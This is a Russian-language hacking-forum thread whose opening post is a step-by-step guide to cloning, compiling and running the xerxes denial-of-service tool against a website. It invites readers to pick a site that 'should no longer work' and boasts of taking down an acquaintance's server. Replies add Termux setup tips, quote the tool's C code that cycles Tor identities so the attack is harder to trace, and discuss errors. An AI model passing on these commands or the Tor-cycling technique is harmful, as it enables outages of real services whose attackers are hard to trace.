xerxes - Мошнейший инструмент для организации DoS-атак

Для организации мошнейшей на данный момент DoS (Denial of Service «отказ в обслуживании»)-атаки нам понадобятся:
  1. Любой Linux
  2. Git (Обычно предустановлен в большинстве Linux-дистрибутивов)
  3. GCC (Обычно предустановлен в большинстве Linux-дистрибутивов)
  4. xerxes
Начнем
Открываем терминал и клонируем xerxes:
Код:
git clone https://github.com/zanyarjamal/xerxes

28540

Переходим в клонированную папку:
Код:
cd xerxes

Компилируем файл xerxes.c используя GCC:
Код:
gcc xerxes.c -o xerxes

28541

Видим, что программа скомпилировалась успешно. Теперь с самому главному: находим веб-сайт, который больше не должен работать (все делаем на свой страх и риск).
Вводим данную команду в консоль:
Код:
./xerxes www.website.com 80
где website.com - это сайт, на который хотите произвести атаку.

Данный софт достаточно мощен, чтобы заставить слабый, а иногда и нормальный сервер перестать работать, но слаб для крупных сайтов (для крупных сайтов DoS-атака сама по себе не прокатит, тут уже нужна DDoS-атака, а это совсем другая тема).

P.s. Я с этим софтом смог заставить сервер сайта моего знакомого перестать работать, то есть все легально проверено и работает.
 

Вложения

  • git_clone.png
    git_clone.png
    22,9 КБ · Просмотры: 3 638
  • gcc.png
    gcc.png
    22,8 КБ · Просмотры: 2 637
Будет работать в termux?это приложение для андроида эмулирует линукс.

И какой метод атаки используется?
 
Последнее редактирование:
  • Нравится
Реакции: Fazl1dd1n
Будет работать в termux?это приложение для андроида эмулирует линукс.

И какой метод атаки используется?
про метод атаки не знаю,а что насчет termuxа, то у меня работает, просто для компиляции нужно будет установить gcc (в termuxе это делается с помощью команды
Код:
sudo apt-get install gcc
)
 
  • Нравится
Реакции: DRAGO2047 и Tipks
Дык эта утлилита просто херачит запросы на индексную страницу? Чем она отличается от того же jmeter, используемого для нагрузочного тестрования и рисующего красивые граффики того как приложение постепенно ложится и всё медленнее прожёвывает запросы?
Из интересного увидел лишь то что эта штука хочет для работы запущеный TOR, и пытается каждый запрос слать с нового адреса выходной ноды TOR.

Код:
void cycle_identity() {      
     int r;      
     int socket = make_socket("localhost", "9050");      
     write(socket, "AUTHENTICATE \"\"\n", 16);      
     while(1) {      
         r=write(socket, "signal NEWNYM\n\x00", 16);      
         fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);      
         usleep(300000);      
     }      
 }
 
Последнее редактирование:
поправьте меня, если я ошибаюсь: эти инструменты годны для ддос атаки на роутеры/маршрутизаторы, которые светятся мордами своими на просторах Интернета?
 
про метод атаки не знаю,а что насчет termuxа, то у меня работает, просто для компиляции нужно будет установить gcc (в termuxе это делается с помощью команды
Код:
sudo apt-get install gcc
)
у кого нет рута на телефон( или magisk) можно и без команды
Код:
sudo
а чтоб установить gcc пишем
Код:
pkg install clang

p.s методом который ты написал установить gcc не получилось пишет ошибку
 
поправьте меня, если я ошибаюсь: эти инструменты годны для ддос атаки на роутеры/маршрутизаторы, которые светятся мордами своими на просторах Интернета?
Подходит для любого сервиса смотрящего в мир по 80 порту и протоколу HTTP. Не знаю годится ли это для HTTPS.

p.s методом который ты написал установить gcc не получилось пишет ошибку

А где сама ошибка? Телепаты в отпуске, извини.
 
  • Нравится
Реакции: fperson
Чем она отличается от того же jmeter

про jmeter не слышал. могу сказать, что у xerxesа упор на анонимность

у кого нет рута на телефон( или magisk) можно и без команды
Код:
sudo
а чтоб установить gcc пишем
Код:
pkg install clang

p.s методом который ты написал установить gcc не получилось пишет ошибку
признаю ошибку:)
 
про jmeter не слышал. могу сказать, что у xerxesа упор на анонимность
Его анонимность основана на присутсвии запущенного TOR прокси. Ты же об этом ни слова не упомянул.
 
работает. теперь, давайте посчитаем....
одна рабочая среднестатистическая станция способна отправлять, среднем ~ 8,5 mb/s (при канале 100 мегабит). это примерно 510 мегабайт в минуту.
мне например не хватило положить несчастный подопытный асус н15 в локалке...; сложно дудосить в одиночку. в принципе - аксиома)
занавес
 
  • Нравится
Реакции: Defalt
народ, подскажите пожалуйста, капипастю ссылку на гит, он просит лог/пас, пробую регаться, сайт выдает ошибку в регистрации, мож кто в курсе?
 
  • Нравится
Реакции: Shinobi
Ошибка
 

Вложения

  • Screenshot_20191016-090335_Termux.jpg
    Screenshot_20191016-090335_Termux.jpg
    122,5 КБ · Просмотры: 759

Вложения

  • Screenshot_20191016-154842.png
    Screenshot_20191016-154842.png
    37,9 КБ · Просмотры: 1 008
боже...

Код:
git clone https://github.com/f-person/xerxes.git
cd xerxes
gcc xerxes.c -o xerxes
 
  • Нравится
Реакции: Аслан Османов
No connection could be made
Что вызывает, и как убрать данную ошибку?
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab